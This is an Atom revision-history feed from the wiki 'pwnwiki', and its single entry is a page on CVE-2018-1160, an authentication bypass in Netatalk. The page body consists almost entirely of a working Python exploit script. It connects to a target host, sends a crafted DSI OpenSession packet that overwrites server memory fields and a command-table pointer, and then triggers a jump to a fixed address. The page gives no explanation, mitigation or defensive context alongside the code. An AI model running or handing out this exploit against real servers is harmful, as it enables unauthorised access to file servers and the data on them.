<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-1160_Netatalk_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-1160 Netatalk 身份驗證繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-1160_Netatalk_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-1160_Netatalk_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T02:45:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-1160_Netatalk_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1501&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; import socket import struct import sys if len(sys.argv) != 3:     sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socke...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-1160_Netatalk_%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1501&amp;oldid=prev"/>
		<updated>2021-04-11T01:16:16Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; import socket import struct import sys if len(sys.argv) != 3:     sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socke...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import struct&lt;br /&gt;
import sys&lt;br /&gt;
if len(sys.argv) != 3:&lt;br /&gt;
    sys.exit(0)&lt;br /&gt;
ip = sys.argv[1]&lt;br /&gt;
port = int(sys.argv[2])&lt;br /&gt;
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
print &amp;quot;[+] Attempting connection to &amp;quot; + ip + &amp;quot;:&amp;quot; + sys.argv[2]&lt;br /&gt;
sock.connect((ip, port))&lt;br /&gt;
dsi_payload = &amp;quot;\x00\x00\x40\x00&amp;quot; # client quantum&lt;br /&gt;
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize&lt;br /&gt;
dsi_payload += struct.pack(&amp;quot;I&amp;quot;, 0xdeadbeef) # overwrites quantum&lt;br /&gt;
dsi_payload += struct.pack(&amp;quot;I&amp;quot;, 0xfeedface) # overwrites the ids&lt;br /&gt;
dsi_payload += struct.pack(&amp;quot;Q&amp;quot;, 0x63b660) # overwrite commands ptr&lt;br /&gt;
dsi_opensession = &amp;quot;\x01&amp;quot; # attention quantum option&lt;br /&gt;
dsi_opensession += struct.pack(&amp;quot;B&amp;quot;, len(dsi_payload)) # length&lt;br /&gt;
dsi_opensession += dsi_payload&lt;br /&gt;
dsi_header = &amp;quot;\x00&amp;quot; # &amp;quot;request&amp;quot; flag&lt;br /&gt;
dsi_header += &amp;quot;\x04&amp;quot; # open session command&lt;br /&gt;
dsi_header += &amp;quot;\x00\x01&amp;quot; # request id&lt;br /&gt;
dsi_header += &amp;quot;\x00\x00\x00\x00&amp;quot; # data offset&lt;br /&gt;
dsi_header += struct.pack(&amp;quot;&amp;gt;I&amp;quot;, len(dsi_opensession))&lt;br /&gt;
dsi_header += &amp;quot;\x00\x00\x00\x00&amp;quot; # reserved&lt;br /&gt;
dsi_header += dsi_opensession&lt;br /&gt;
sock.sendall(dsi_header)&lt;br /&gt;
resp = sock.recv(1024)&lt;br /&gt;
print &amp;quot;[+] Open Session complete&amp;quot;&lt;br /&gt;
afp_command = &amp;quot;\x01&amp;quot; # invoke the second entry in the table&lt;br /&gt;
afp_command += &amp;quot;\x00&amp;quot; # protocol defined padding&lt;br /&gt;
afp_command += &amp;quot;\x00\x00\x00\x00\x00\x00&amp;quot; # pad out the first entry&lt;br /&gt;
afp_command += struct.pack(&amp;quot;Q&amp;quot;, 0x4295f0) # address to jump to&lt;br /&gt;
dsi_header = &amp;quot;\x00&amp;quot; # &amp;quot;request&amp;quot; flag&lt;br /&gt;
dsi_header += &amp;quot;\x02&amp;quot; # &amp;quot;AFP&amp;quot; command&lt;br /&gt;
dsi_header += &amp;quot;\x00\x02&amp;quot; # request id&lt;br /&gt;
dsi_header += &amp;quot;\x00\x00\x00\x00&amp;quot; # data offset&lt;br /&gt;
dsi_header += struct.pack(&amp;quot;&amp;gt;I&amp;quot;, len(afp_command))&lt;br /&gt;
dsi_header += '\x00\x00\x00\x00' # reserved&lt;br /&gt;
dsi_header += afp_command&lt;br /&gt;
print &amp;quot;[+] Sending get server info request&amp;quot;&lt;br /&gt;
sock.sendall(dsi_header)&lt;br /&gt;
resp = sock.recv(1024)&lt;br /&gt;
print resp&lt;br /&gt;
print &amp;quot;[+] Fin.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>